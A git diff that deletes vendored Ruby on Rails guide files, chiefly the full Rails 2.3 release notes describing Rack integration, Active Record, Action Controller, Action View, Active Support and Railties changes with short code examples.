-* +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
-* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
-* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
-* +String#chars+ has been deprecated in favor of +String#mb_chars+.
-* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
-* +Request#relative_url_root+ is deprecated. Use +ActionController::Base.relative_url_root+ instead.
-
-h3. Credits
-
-Release notes compiled by "Mike Gunderloy":http://afreshcup.com
diff --git a/vendor/rails/railties/guides/source/2_3_release_notes.textile b/vendor/rails/railties/guides/source/2_3_release_notes.textile
deleted file mode 100644
index cc2e2dc2..00000000
--- a/vendor/rails/railties/guides/source/2_3_release_notes.textile
+++ /dev/null
@@ -1,610 +0,0 @@
-h2. Ruby on Rails 2.3 Release Notes
-
-Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub or review the +CHANGELOG+ files for the individual Rails components.
-
-endprologue.
-
-h3. Application Architecture
-
-There are two major changes in the architecture of Rails applications: complete integration of the "Rack":http://rack.rubyforge.org/ modular web server interface, and renewed support for Rails Engines.
-
-h4. Rack Integration
-
-Rails has now broken with its CGI past, and uses Rack everywhere. This required and resulted in a tremendous number of internal changes (but if you use CGI, don't worry; Rails now supports CGI through a proxy interface.) Still, this is a major change to Rails internals. After upgrading to 2.3, you should test on your local environment and your production environment. Some things to test:
-
-* Sessions
-* Cookies
-* File uploads
-* JSON/XML APIs
-
-Here's a summary of the rack-related changes:
-
-* +script/server+ has been switched to use Rack, which means it supports any Rack compatible server. +script/server+ will also pick up a rackup configuration file if one exists. By default, it will look for a +config.ru+ file, but you can override this with the +-c+ switch.
-* The FCGI handler goes through Rack.
-* +ActionController::Dispatcher+ maintains its own default middleware stack. Middlewares can be injected in, reordered, and removed. The stack is compiled into a chain on boot. You can configure the middleware stack in +environment.rb+.
-* The +rake middleware+ task has been added to inspect the middleware stack. This is useful for debugging the order of the middleware stack.
-* The integration test runner has been modified to execute the entire middleware and application stack. This makes integration tests perfect for testing Rack middleware.
-* +ActionController::CGIHandler+ is a backwards compatible CGI wrapper around Rack. The +CGIHandler+ is meant to take an old CGI object and convert its environment information into a Rack compatible form.
-* +CgiRequest+ and +CgiResponse+ have been removed.
-* Session stores are now lazy loaded. If you never access the session object during a request, it will never attempt to load the session data (parse the cookie, load the data from memcache, or lookup an Active Record object).
-* You no longer need to use +CGI::Cookie.new+ in your tests for setting a cookie value. Assigning a +String+ value to request.cookies["foo"] now sets the cookie as expected.
-* +CGI::Session::CookieStore+ has been replaced by +ActionController::Session::CookieStore+.
-* +CGI::Session::MemCacheStore+ has been replaced by +ActionController::Session::MemCacheStore+.
-* +CGI::Session::ActiveRecordStore+ has been replaced by +ActiveRecord::SessionStore+.
-* You can still change your session store with +ActionController::Base.session_store = :active_record_store+.
-* Default sessions options are still set with +ActionController::Base.session = { :key => "..." }+.
-* The mutex that normally wraps your entire request has been moved into middleware, +ActionController::Lock+.
-* +ActionController::AbstractRequest+ and +ActionController::Request+ have been unified. The new +ActionController::Request+ inherits from +Rack::Request+. This affects access to +response.headers['type']+ in test requests. Use +response.content_type+ instead.
-* +ActiveRecord::QueryCache+ middleware is automatically inserted onto the middleware stack if +ActiveRecord+ has been loaded. This middleware sets up and flushes the per-request Active Record query cache.
-* The Rails router and controller classes follow the Rack spec. You can call a controller directly with +SomeController.call(env)+. The router stores the routing parameters in +rack.routing_args+.
-* +ActionController::Request+ inherits from +Rack::Request+.
-* Instead of +config.action_controller.session = { :session_key => 'foo', ...+ use  +config.action_controller.session = { :key => 'foo', ...+.
-* Using the +ParamsParser+ middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any +Rack::Request+ object after it.
-
-h4. Renewed Support for Rails Engines
-
-After some versions without an upgrade, Rails 2.3 offers some new features for Rails Engines (Rails applications that can be embedded within other applications). First, routing files in engines are automatically loaded and reloaded now, just like your +routes.rb+ file (this also applies to routing files in other plugins). Second, if your plugin has an app folder, then app/[models|controllers|helpers] will automatically be added to the Rails load path. Engines also support adding view paths now, and Action Mailer as well as Action View will use views from engines and other plugins.
-
-h3. Documentation
-
-The "Ruby on Rails guides":http://guides.rubyonrails.org/ project has published several additional guides for Rails 2.3. In addition, a "separate site":http://guides.rails.info/ maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the "Rails wiki":http://newwiki.rubyonrails.org/ and early planning for a Rails Book.
-
-* More Information: "Rails Documentation Projects":http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects.
-
-h3. Ruby 1.9.1 Support
-
-Rails 2.3 should pass all of its own tests whether you are running on Ruby 1.8 or the now-released Ruby 1.9.1. You should be aware, though, that moving to 1.9.1 entails checking all of the data adapters, plugins, and other code that you depend on for Ruby 1.9.1 compatibility, as well as Rails core. 
-
-h3. Active Record
-
-Active Record gets quite a number of new features and bug fixes in Rails 2.3. The highlights include nested attributes, nested transactions, dynamic and default scopes, and batch processing.
-
-h4. Nested Attributes
-
-Active Record can now update the attributes on nested models directly, provided you tell it to do so:
-
-<ruby>
-class Book < ActiveRecord::Base
-  has_one :author
-  has_many :pages
-
-  accepts_nested_attributes_for :author, :pages
-end
-</ruby>
-
-Turning on nested attributes enables a number of things: automatic (and atomic) saving of a record together with its associated children, child-aware validations, and support for nested forms (discussed later).
-
-You can also specify requirements for any new records that are added via nested attributes using the +:reject_if+ option:
-
-<ruby>
-accepts_nested_attributes_for :author, 
-  :reject_if => proc { |attributes| attributes['name'].blank? }
-</ruby>
-
-* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
-* More Information: "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
-
-h4. Nested Transactions
-
-Active Record now supports nested transactions, a much-requested feature. Now you can write code like this:
-
-<ruby>
-User.transaction do
-    User.create(:username => 'Admin')
-    User.transaction(:requires_new => true) do
-      User.create(:username => 'Regular')
-      raise ActiveRecord::Rollback
-    end
-  end
-
-  User.find(:all)  # => Returns only Admin
-</ruby>
-
-Nested transactions let you roll back an inner transaction without affecting the state of the outer transaction. If you want a transaction to be nested, you must explicitly add the +:requires_new+ option; otherwise, a nested transaction simply becomes part of the parent transaction (as it does currently on Rails 2.2). Under the covers, nested transactions are "using savepoints":http://rails.lighthouseapp.com/projects/8994/tickets/383, so they're supported even on databases that don't have true nested transactions. There is also a bit of magic going on to make these transactions play well with transactional fixtures during testing.
-
-* Lead Contributors: "Jonathan Viney":http://www.workingwithrails.com/person/4985-jonathan-viney and "Hongli Lai":http://izumi.plan99.net/blog/
-
-h4. Dynamic Scopes
-
-You know about dynamic finders in Rails (which allow you to concoct methods like +find_by_color_and_flavor+ on the fly) and named scopes (which allow you to encapsulate reusable query conditions into friendly names like +currently_active+). Well, now you can have dynamic scope methods. The idea is to put together syntax that allows filtering on the fly _and_ method chaining. For example:
-
-<ruby>
-Order.scoped_by_customer_id(12)
-Order.scoped_by_customer_id(12).find(:all,
-  :conditions => "status = 'open'")
-Order.scoped_by_customer_id(12).scoped_by_status("open")
-</ruby>
-
-There's nothing to define to use dynamic scopes: they just work.
-
-* Lead Contributor: "Yaroslav Markin":http://evilmartians.com/
-* More Information: "What's New in Edge Rails: Dynamic Scope Methods":http://ryandaigle.com/articles/2008/12/29/what-s-new-in-edge-rails-dynamic-scope-methods.
-
-h4. Default Scopes
-
-Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, but applying to all named scopes or find methods within the model. For example, you can write +default_scope :order => 'name ASC'+ and any time you retrieve records from that model they'll come out sorted by name (unless you override the option, of course).
-
-* Lead Contributor: Paweł Kondzior
-* More Information: "What's New in Edge Rails: Default Scoping":http://ryandaigle.com/articles/2008/11/18/what-s-new-in-edge-rails-default-scoping
-
-h4. Batch Processing
-
-You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using +find_in_batches+:
-
-<ruby>
-Customer.find_in_batches(:conditions => {:active => true}) do |customer_group|
-  customer_group.each { |customer| customer.update_account_balance! }
-end
-</ruby>
-
-You can pass most of the +find+ options into +find_in_batches+. However, you cannot specify the order that records will be returned in (they will always be returned in ascending order of primary key, which must be an integer), or use the +:limit+ option. Instead, use the +:batch_size+ option, which defaults to 1000, to set the number of records that will be returned in each batch.
-
-The new +find_each+ method provides a wrapper around +find_in_batches+ that returns individual records, with the find itself being done in batches (of 1000 by default):
-
-<ruby>
-Customer.find_each do |customer|
-  customer.update_account_balance!
-end
-</ruby>
-
-Note that you should only use this method for batch processing: for small numbers of records (less than 1000), you should just use the regular find methods with your own loop.
-
-* More Information (at that point the convenience method was called just +each+): 
-** "Rails 2.3: Batch Finding":http://afreshcup.com/2009/02/23/rails-23-batch-finding/
-** "What's New in Edge Rails: Batched Find":http://ryandaigle.com/articles/2009/2/23/what-s-new-in-edge-rails-batched-find
-
-h4. Multiple Conditions for Callbacks
-
-When using Active Record callbacks, you can now combine +:if+ and +:unless+ options on the same callback, and supply multiple conditions as an array:
-
-<ruby>
-before_save :update_credit_rating, :if => :active,
-  :unless => [:admin, :cash_only]
-</ruby>
-* Lead Contributor: L. Caviola
-
-h4. Find with having
-
-Rails now has a +:having+ option on find (as well as on +has_many+ and +has_and_belongs_to_many+ associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results:
-
-<ruby>
-developers =  Developer.find(:all, :group => "salary",
-  :having => "sum(salary) >  10000", :select => "salary")
-</ruby>
-
-* Lead Contributor: "Emilio Tagua":http://github.com/miloops
-
-h4. Reconnecting MySQL Connections
-
-MySQL supports a reconnect flag in its connections - if set to true, then the client will try reconnecting to the server before giving up in case of a lost connection. You can now set +reconnect = true+ for your MySQL connections in +database.yml+ to get this behavior from a Rails application. The default is +false+, so the behavior of existing applications doesn't change.
-
-* Lead Contributor: "Dov Murik":http://twitter.com/dubek
-* More information:
-** "Controlling Automatic Reconnection Behavior":http://dev.mysql.com/doc/refman/5.0/en/auto-reconnect.html
-** "MySQL auto-reconnect revisited":http://groups.google.com/group/rubyonrails-core/browse_thread/thread/49d2a7e9c96cb9f4
-
-h4. Other Active Record Changes
-
-* An extra +AS+ was removed from the generated SQL for +has_and_belongs_to_many+ preloading, making it work better for some databases.
-* +ActiveRecord::Base#new_record?+ now returns +false+ rather than +nil+ when confronted with an existing record.
-* A bug in quoting table names in some +has_many :through+ associations was fixed.
-* You can now specify a particular timestamp for +updated_at+ timestamps: +cust = Customer.create(:name => "ABC Industries", :updated_at => 1.day.ago)+
-* Better error messages on failed +find_by_attribute!+ calls.
-* Active Record's +to_xml+ support gets just a little bit more flexible with the addition of a +:camelize+ option.
-* A bug in canceling callbacks from +before_update+ or +before_create+ was fixed.
-* Rake tasks for testing databases via JDBC have been added.
-* +validates_length_of+ will use a custom error message with the +:in+ or +:within+ options (if one is supplied).
-* Counts on scoped selects now work properly, so you can do things like +Account.scoped(:select => "DISTINCT credit_limit").count+.
-* +ActiveRecord::Base#invalid?+ now works as the opposite of +ActiveRecord::Base#valid?+.
-
-h3. Action Controller
-
-Action Controller rolls out some significant changes to rendering, as well as improvements in routing and other areas, in this release.
-
-h4. Unified Rendering
-
-+ActionController::Base#render+ is a lot smarter about deciding what to render. Now you can just tell it what to render and expect to get the right results. In older versions of Rails, you often need to supply explicit information to render:
-
-<ruby>
-render :file => '/tmp/random_file.erb'
-render :template => 'other_controller/action'
-render :action => 'show'
-</ruby>
-
-Now in Rails 2.3, you can just supply what you want to render:
-
-<ruby>
-render '/tmp/random_file.erb'
-render 'other_controller/action'
-render 'show'
-render :show
-</ruby>
-Rails chooses between file, template, and action depending on whether there is a leading slash, an embedded slash, or no slash at all in what's to be rendered. Note that you can also use a symbol instead of a string when rendering an action. Other rendering styles (+:inline+, +:text+, +:update+, +:nothing+, +:json+, +:xml+, +:js+) still require an explicit option.
-
-h4. Application Controller Renamed
-
-If you're one of the people who has always been bothered by the special-case naming of +application.rb+, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, +rake rails:update:application_controller+ to do this automatically for you - and it will be run as part of the normal +rake rails:update+ process.
-
-* More Information:
-** "The Death of Application.rb":http://afreshcup.com/2008/11/17/rails-2x-the-death-of-applicationrb/
-** "What's New in Edge Rails: Application.rb Duality is no More":http://ryandaigle.com/articles/2008/11/19/what-s-new-in-edge-rails-application-rb-duality-is-no-more
-
-h4. HTTP Digest Authentication Support
-
-Rails now has built-in support for HTTP digest authentication. To use it, you call +authenticate_or_request_with_http_digest+ with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials):
-
-<ruby>
-class PostsController < ApplicationController
-  Users = {"dhh" => "secret"}
-  before_filter :authenticate
-
-  def secret
-    render :text => "Password Required!"
-  end
-
-  private
-  def authenticate
-    realm = "Application"
-    authenticate_or_request_with_http_digest(realm) do |name|
-      Users[name]
-    end
-  end
-end
-</ruby>
-
-* Lead Contributor: "Gregg Kellogg":http://www.kellogg-assoc.com/
-* More Information: "What's New in Edge Rails: HTTP Digest Authentication":http://ryandaigle.com/articles/2009/1/30/what-s-new-in-edge-rails-http-digest-authentication
-
-h4. More Efficient Routing
-
-There are a couple of significant routing changes in Rails 2.3. The +formatted_+ route helpers are gone, in favor just passing in +:format+ as an option. This cuts down the route generation process by 50% for any resource - and can save a substantial amount of memory (up to 100MB on large applications). If your code uses the +formatted_+ helpers, it will still work for the time being - but that behavior is deprecated and your application will be more efficient if you rewrite those routes using the new standard. Another big change is that Rails now supports multiple routing files, not just +routes.rb+. You can use +RouteSet#add_configuration_file+ to bring in more routes at any time - without clearing the currently-loaded routes. While this change is most useful for Engines, you can use it in any application that needs to load routes in batches.
-
-* Lead Contributors: "Aaron Batalion":http://blog.hungrymachine.com/
-
-h4. Rack-based Lazy-loaded Sessions
-
-A big change pushed the underpinnings of Action Controller session storage down to the Rack level. This involved a good deal of work in the code, though it should be completely transparent to your Rails applications (as a bonus, some icky patches around the old CGI session handler got removed). It's still significant, though, for one simple reason: non-Rails Rack applications have access to the same session storage handlers (and therefore the same session) as your Rails applications. In addition, sessions are now lazy-loaded (in line with the loading improvements to the rest of the framework). This means that you no longer need to explicitly disable sessions if you don't want them; just don't refer to them and they won't load.
-
-h4. MIME Type Handling Changes
-
-There are a couple of changes to the code for handling MIME types in Rails. First, +MIME::Type+ now implements the +=~+ operator, making things much cleaner when you need to check for the presence of a type that has synonyms:
-
-<ruby>
-if content_type && Mime::JS =~ content_type
-  # do something cool
-end
-
-Mime::JS =~ "text/javascript"        => true
-Mime::JS =~ "application/javascript" => true
-</ruby>
-
-The other change is that the framework now uses the +Mime::JS+ when checking for javascript in various spots, making it handle those alternatives cleanly.
-
-* Lead Contributor: "Seth Fitzsimmons":http://www.workingwithrails.com/person/5510-seth-fitzsimmons
-
-h4. Optimization of +respond_to+
-
-In some of the first fruits of the Rails-Merb team merger, Rails 2.3 includes some optimizations for the +respond_to+ method, which is of course heavily used in many Rails applications to allow your controller to format results differently based on the MIME type of the incoming request. After eliminating a call to +method_missing+ and some profiling and tweaking, we're seeing an 8% improvement in the number of requests per second served with a simple +respond_to+ that switches between three formats. The best part? No change at all required to the code of your application to take advantage of this speedup.
-
-h4. Improved Caching Performance
-
-Rails now keeps a per-request local cache of read from the remote cache stores, cutting down on unnecessary reads and leading to better site performance. While this work was originally limited to +MemCacheStore+, it is available to any remote store than implements the required methods.
-
-* Lead Contributor: "Nahum Wild":http://www.motionstandingstill.com/
-
-h4. Localized Views
-
-Rails can now provide localized views, depending on the locale that you have set. For example, suppose you have a +Posts+ controller with a +show+ action. By default, this will render +app/views/posts/show.html.erb+. But if you set +I18n.locale = :da+, it will render +app/views/posts/show.da.html.erb+. If the localized template isn't present, the undecorated version will be used. Rails also includes +I18n#available_locales+ and +I18n::SimpleBackend#available_locales+, which return an array of the translations that are available in the current Rails project.
-
-In addition, you can use the same scheme to localize the rescue files in the +public+ directory: +public/500.da.html+ or +public/404.en.html+ work, for example.
-
-h4. Partial Scoping for Translations
-
-A change to the translation API makes things easier and less repetitive to write key translations within partials. If you call +translate(".foo")+ from the +people/index.html.erb+ template, you'll actually be calling +I18n.translate("people.index.foo")+ If you don't prepend the key with a period, then the API doesn't scope, just as before.
-
-h4. Other Action Controller Changes
-
-* ETag handling has been cleaned up a bit: Rails will now skip sending an ETag header when there's no body to the response or when sending files with +send_file+.
-* The fact that Rails checks for IP spoofing can be a nuisance for sites that do heavy traffic with cell phones, because their proxies don't generally set things up right. If that's you, you can now set +ActionController::Base.ip_spoofing_check = false+ to disable the check entirely.
-* +ActionController::Dispatcher+ now implements its own middleware stack, which you can see by running +rake middleware+.
-* Cookie sessions now have persistent session identifiers, with API compatibility with the server-side stores.
-* You can now use symbols for the +:type+ option of +send_file+ and +send_data+, like this: +send_file("fabulous.png", :type => :png)+.
-* The +:only+ and +:except+ options for +map.resources+ are no longer inherited by nested resources.
-* The bundled memcached client has been updated to version 1.6.4.99.
-* The +expires_in+, +stale?+, and +fresh_when+ methods now accept a +:public+ option to make them work well with proxy caching.
-* The +:requirements+ option now works properly with additional RESTful member routes.
-* Shallow routes now properly respect namespaces.
-* +polymorphic_url+ does a better job of handling objects with irregular plural names.
-
-h3. Action View
-
-Action View in Rails 2.3 picks up nested model forms, improvements to +render+, more flexible prompts for the date select helpers, and a speedup in asset caching, among other things.
-
-h4. Nested Object Forms
-
-Provided the parent model accepts nested attributes for the child objects (as discussed in the Active Record section), you can create nested forms using +form_for+ and +field_for+. These forms can be nested arbitrarily deep, allowing you to edit complex object hierarchies on a single view without excessive code. For example, given this model:
-
-<ruby>
-class Customer < ActiveRecord::Base
-  has_many :orders
-
-  accepts_nested_attributes_for :orders, :allow_destroy => true
-end
-</ruby>
-
-You can write this view in Rails 2.3:
-
-<erb>
-<% form_for @customer do |customer_form| %>
-  <div>
-    <%= customer_form.label :name, 'Customer Name:' %>
-    <%= customer_form.text_field :name %>
-  </div>
-
-  <!-- Here we call fields_for on the customer_form builder instance.
-   The block is called for each member of the orders collection. -->
-  <% customer_form.fields_for :orders do |order_form| %>
-    <p>
-      <div>
-        <%= order_form.label :number, 'Order Number:' %>
-        <%= order_form.text_field :number %>
-      </div>
-
-  <!-- The allow_destroy option in the model enables deletion of
-   child records. -->
-      <% unless order_form.object.new_record? %>
-        <div>
-          <%= order_form.label :_delete, 'Remove:' %>
-          <%= order_form.check_box :_delete %>
-        </div>
-      <% end %>
-    </p>
-  <% end %>
-
-  <%= customer_form.submit %>
-<% end %>
-</erb>
-
-* Lead Contributor: "Eloy Duran":http://www.superalloy.nl/blog/
-* More Information:
-** "Nested Model Forms":http://weblog.rubyonrails.org/2009/1/26/nested-model-forms
-** "complex-form-examples":http://github.com/alloy/complex-form-examples/tree/nested_attributes
-** "What's New in Edge Rails: Nested Object Forms":http://ryandaigle.com/articles/2009/2/1/what-s-new-in-edge-rails-nested-attributes
-
-h4. Smart Rendering of Partials
-
-The render method has been getting smarter over the years, and it's even smarter now. If you have an object or a collection and an appropriate partial, and the naming matches up, you can now just render the object and things will work. For example, in Rails 2.3, these render calls will work in your view (assuming sensible naming):
-
-<ruby>
-# Equivalent of render :partial => 'articles/_article',
-# :object => @article
-render @article
-
-# Equivalent of render :partial => 'articles/_article',
-# :collection => @articles
-render @articles
-</ruby>
-
-* More Information: "What's New in Edge Rails: render Stops Being High-Maintenance":http://ryandaigle.com/articles/2008/11/20/what-s-new-in-edge-rails-render-stops-being-high-maintenance
-
-h4. Prompts for Date Select Helpers
-
-In Rails 2.3, you can supply custom prompts for the various date select helpers (+date_select+, +time_select+, and +datetime_select+), the same way you can with collection select helpers. You can supply a prompt string or a hash of individual prompt strings for the various components. You can also just set +:prompt+ to +true+ to use the custom generic prompt:
-
-<ruby>
-select_datetime(DateTime.now, :prompt => true)
-
-select_datetime(DateTime.now, :prompt => "Choose date and time")
-
-select_datetime(DateTime.now, :prompt =>
-  {:day => 'Choose day', :month => 'Choose month',
-   :year => 'Choose year', :hour => 'Choose hour',
-   :minute => 'Choose minute'})
-</ruby>
-
-* Lead Contributor: "Sam Oliver":http://samoliver.com/
-
-h4. AssetTag Timestamp Caching
-
-You're likely familiar with Rails' practice of adding timestamps to static asset paths as a "cache buster." This helps ensure that stale copies of things like images and stylesheets don't get served out of the user's browser cache when you change them on the server. You can now modify this behavior with the +cache_asset_timestamps+ configuration option for Action View. If you enable the cache, then Rails will calculate the timestamp once when it first serves an asset, and save that value. This means fewer (expensive) file system calls to serve static assets - but it also means that you can't modify any of the assets while the server is running and expect the changes to get picked up by clients.
-
-h4. Asset Hosts as Objects
-
-Asset hosts get more flexible in edge Rails with the ability to declare an asset host as a specific object that responds to a call. This allows you to to implement any complex logic you need in your asset hosting.
-
-* More Information: "asset-hosting-with-minimum-ssl":http://github.com/dhh/asset-hosting-with-minimum-ssl/tree/master
-
-h4. grouped_options_for_select Helper Method
-
-Action View already had a bunch of helpers to aid in generating select controls, but now there's one more: +grouped_options_for_select+. This one accepts an array or hash of strings, and converts them into a string of +option+ tags wrapped with +optgroup+ tags. For example:
-
-<ruby>
-grouped_options_for_select([["Hats", ["Baseball Cap","Cowboy Hat"]]],
-  "Cowboy Hat", "Choose a product...")
-</ruby>
-
-returns
-
-<ruby>
-<option value="">Choose a product...</option>
-<optgroup label="Hats">
-  <option value="Baseball Cap">Baseball Cap</option>
-  <option selected="selected" value="Cowboy Hat">Cowboy Hat</option>
-</optgroup>
-</ruby>
-
-h4. Disabled Option Tags for Form Select Helpers
-
-The form select helpers (such as +select+ and +options_for_select+) now support a +:disabled+ option, which can take a single value or an array of values to be disabled in the resulting tags:
-
-<ruby>
-select(:post, :category, Post::CATEGORIES, :disabled => ‘private‘)
-</ruby>
-
-returns
-
-<ruby>
-<select name=“post[category]“>
-<option>story</option>
-<option>joke</option>
-<option>poem</option>
-<option disabled=“disabled“>private</option>
-</select>	
-</ruby>
-
-You can also use an anonymous function to determine at runtime which options from collections will be selected and/or disabled:
-
-<ruby>
-options_from_collection_for_select(@product.sizes, :name, :id, :disabled => lambda{|size| size.out_of_stock?})
-</ruby>
-
-* Lead Contributor: "Tekin Suleyman":http://tekin.co.uk/
-* More Information: "New in rails 2.3 - disabled option tags and lambdas for selecting and disabling options from collections":http://tekin.co.uk/2009/03/new-in-rails-23-disabled-option-tags-and-lambdas-for-selecting-and-disabling-options-from-collections/
-
-h4. A Note About Template Loading
-
-Rails 2.3 includes the ability to enable or disable cached templates for any particular environment. Cached templates give you a speed boost because they don't check for a new template file when they're rendered - but they also mean that you can't replace a template "on the fly" without restarting the server.
-
-In most cases, you'll want template caching to be turned on in production, which you can do by making a setting in your +production.rb+ file:
-
-<ruby>
-config.action_view.cache_template_loading = true
-</ruby>
-
-This line will be generated for you by default in a new Rails 2.3 application. If you've upgraded from an older version of Rails, Rails will default to caching templates in production and test but not in development.
-
-h4. Other Action View Changes
-
-* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
-* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links.
-* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive.
-* +current_page?+ now works properly even when there are multiple query parameters in the URL.
-
-h3. Active Support
-
-Active Support has a few interesting changes, including the introduction of +Object#try+.
-
-h4. Object#try
-
-A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +&lt;%= @person.try(:name) %&gt;+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil.
-
-* More Information: "try()":http://ozmm.org/posts/try.html.
-
-h4. Object#tap Backport
-
-+Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
-
-h4. Swappable Parsers for XMLmini
-
-The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
-
-<ruby>
-XmlMini.backend = 'LibXML'
-</ruby>
-
-* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/ 
-* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/
-
-h4. Fractional seconds for TimeWithZone
-
-The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does:
-
-<ruby>
->> Time.zone.now.xmlschema(6)
-=> "2009-01-16T13:00:06.13653Z"
-</ruby>
-
-* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty
-
-h4. JSON Key Quoting
-
-If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
-
-h4. Other Active Support Changes
-
-* You can use +Enumerable#none?+ to check that none of the elements match the supplied block.
-* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil.
-* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+.
-* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies).
-* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
-* If you memoize a private method, the result will now be private.
-* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+.
-* +number_to_phone+ accepts 7-digit phone numbers now.
-* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences.
-
-h3. Railties
-
-In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
-
-h4. Rails Metal
-
-Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
-
-* More Information:
-** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
-** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m
-** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html
-** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal
-
-h4. Application Templates
-
-Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application:
-
-<ruby>
-rake rails:template LOCATION=~/template.rb
-</ruby>
-
-This will layer the changes from the template on top of whatever code the project already contains.
-
-* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/
-* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates
-
-h4. Quieter Backtraces
-
-Building on Thoughtbot's "Quiet Backtrace":http://www.thoughtbot.com/projects/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
-
-h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload
-
-Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
-
-You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
-
-h4. rake gem Task Rewrite
-
-The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.
-
-* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar
-
-h4. Other Railties Changes
-
-* The instructions for updating a CI server to build Rails have been updated and expanded.
-* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test.
-* The default +environment.rb+ file has been decluttered.
-* The dbconsole script now lets you use an all-numeric password without crashing.
-* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+.
